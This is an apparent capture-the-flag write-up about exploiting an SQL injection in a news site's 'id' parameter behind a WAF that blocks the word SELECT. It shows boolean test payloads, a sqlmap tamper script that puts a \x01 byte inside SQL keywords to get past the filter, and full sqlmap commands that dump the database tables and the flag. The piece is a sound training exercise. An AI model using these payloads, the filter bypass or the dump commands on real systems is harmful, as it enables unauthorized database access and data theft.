This challenge consists of exploiting and SQL injection with some tricky things. Let's take a look at it.
Challenge
So, we have a URL with an IP address. Browsing to the targeted server we got the initial webpage, which is just a list of options which give us some information about the challenge.
Main Page
At this point we can assume that the
flag is in the database and there is some kind of
Web Application Firewall (WAF) protecting the web site to prevent some attacks. Finally, the third article says something we already know, the challenge consists of performing an SQL injection attack.
First Steps
To start being familiar with the application and the current WAF configuation, we can start clicking on each
view article option and see what type of requests are sent to the server. In this case, every article is referenced with a
GET parameter called
id.
Since there is no other parameter, we can assume that
id is vulnerable. Let's try some basic injections to validate our hypothesis. We are going to use some simple conditional payloads, starting by a correct condition - which return
True, expecting the server to return the proper content.
Payload: id=1+and+1=1
As expected, we have the same message like before. This test is not enough, maybe the application only gets the first number and removes all the rest. So we try again with a different conditional payload which will return
False, and we expect to get nothing, because no new will be found.
Payload: id=1+and+1=2
Confirmed, we have an SQL injection injection in the
id parameter. And the injections seems to be standard, with a sentence similar to:
SELECT <SOMETHING> FROM <TABLE> WHERE id=$user_input$
Right now, we still don't know the name of any
table or the
columns being selected in the query. What we do know is the usage of our supplied payload within the sentence. Let's try to exploit it!
¿Quick Win?
Now that we know the vulnerable parameter, we can begin. We can do a manual approach to investigate in-depth the injection and get the
flag, but the time in the competition is limited, so we are going to use the black-magic's software, SQLMap, to do the job for us and see how far it goes. Also it seems an easy sentence to inject into, so it should be quick.
This is what we get executing the application with some default options:
SQLMap first execution
Well, it seems that something happened and the process just fails, but we still have some useful information.
- Database backend is MySQL 5.7.17-0ubuntu0.16.04.1
- Current user: news@localhost
- Database: news
- We are not DBA
For some reason, we do not have information related to the schema, we do not have table information. Why? Because probably the
WAF is doing its job. If we reexecute the SQLMap in debugging mode we can see the actual sentences being sent and how the server responds.
Looking as such output (sorry I have no screenshot), we can see the server responding with
HTTP code
403 Forbiden and the following content:
Your request is blocked by waf
Definitely we have to manually analyze the WAF and see if it's possible to bypass it.
WAF analysis
Let's start with some basic payloads and see what happens. Again, we are going to try to get aritcle's detail based on an
id value processed in database, so we are going to put more complex expressions as payload for the
id parameter to understand which kind of filters is applying.
- Payload: id=(1+1) As a response, we expect the database to resolve the expresion and select the article with id=2.
- Response:
200 OK with the expected content.
- Payload: id=(select+1) Like before, we expect the database to process the select sentence and return the article with id=1.
- Response:
403 Forbiden and the annoying WAF message.
It seems that the WAF is detecting the
select keyword. After doing some testing we can conclude that WAF detects
select in every part of the query string, without any kind of contextual analysis. See the following examples:
Select Payloads
Select as parameter's name
|
Select in SQL sentence
|
Random select
|
Now we can imagine how the WAF is working, we can even guess how the source code would look like. According to our tests, it seems to be something similar to the following snippet.
def waf(query_string):
KEYWORDS=['SELECT', .. ]
for keyword in KEYWORDS:
if keyword in query_string.upper():
return 403,"Your request is blocked by waf"
return 200,process(query_string)
To evade such check we need to break the keywords in a some way or do some kind of encoding to prevent the detection. We can try using comments or random bytes as well. Here there are some examples:
Breaking Select
Using Comments
|
Change Upper/Lower
|
Random byte: \x01
|
Random byte: \x02
|
Our results shows us the following, they include more tests than the above examples:
- Using Comments provoke some kind of internal error and we don't get anything
- Change Upper/Lower is properly detected by the WAF
- Encoding it is properly detected by the WAF
- Double-Encoding it is properly detected by the WAF
- Other Encodings it is properly detected by the WAF
- Random Bytes seems to work properly, we can use this one!
The random byte injection within the keyword is working properly, so we get the details of the article with
id=1. Let's get the flag using this method.
Getting the FLAG!
Once we know how to bypass the WAF and do arbitrary SQL sentences, we can start getting the desired information from the database. Again, we are going to use SQLMap logic to get the
flag.
SQLMap has so called
tamper scripts, which are able to manipulate the generated sentences. We are going to make our own script to bypass the WAF of this challenge. To achieve that, we can just copy an existing tamper plugin from the original SQLMap package and modify it to inject a byte in each keyword. For example, we can use the
between.py script.
/opt/sqlmap/tamper/between.py
We are going to modify it to add the desired character between the sentences. Once we open the script it's easy to understand how it works. Since we are going a simple replace operation for some keywords, we can use the following code:
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
Replaces equals operator ('=') with 'BETWEEN # AND #'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the greater than character
* The BETWEEN clause is SQL standard. Hence, this tamper script
should work against all (?) databases
>>> tamper('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
>>> tamper('1 AND A = B--')
'1 AND A BETWEEN B AND B--'
"""
retVal = payload
if payload:
retVal = retVal.replace("SELECT","SE\x01LECT")
retVal = retVal.replace("WHERE","WH\x01ERE")
retVal = retVal.replace("FROM","FR\x01OM")
return retVal
Let's write this file to:
Now we are ready to execute the SQLMap with our new
tamper script. First of all we have to allow python to load the current script, to do it we have to create a the
init file in the script directory:
$ touch ( pwd )/__init__.py
Finally, we can just execute SQLMap with the
tamper param and the script script path. The following command has some other options as well, like hexadecimal encoding, threading, and more options added during testing. But the key is the
tamper script:
$ sqlmap -u 'http://202.120.7.203/index.php?id=2' --dbms mysql -p id --threads 10 --risk 3 --dump --hex --level 5--tamper $( pwd )/wafBypass.py -D news
First of all, SQLMap tries to get the schema of the database
news - we focus the attack to the current database with the
-D news option -, then, it starts dumping everything. This is the output of such command:
Tables
According to the results, the current database has two tables:
news and
flag. So, we stop the execution - this is why there is an
user aborted message - and we start again the dump process focusing on the
flag table.
To do it, we paramatetrize SQLMap as follows:
$ sqlmap -u 'http://202.120.7.203/index.php?id=2' --dbms mysql -p id --threads 10 --risk 3 --dump --hex --level 5 --tamper $( pwd )/wafBypass.py -D news -T flag
When we execute the command, we finally get the
flag.
Flag
And that's it! Our desired string:
EOF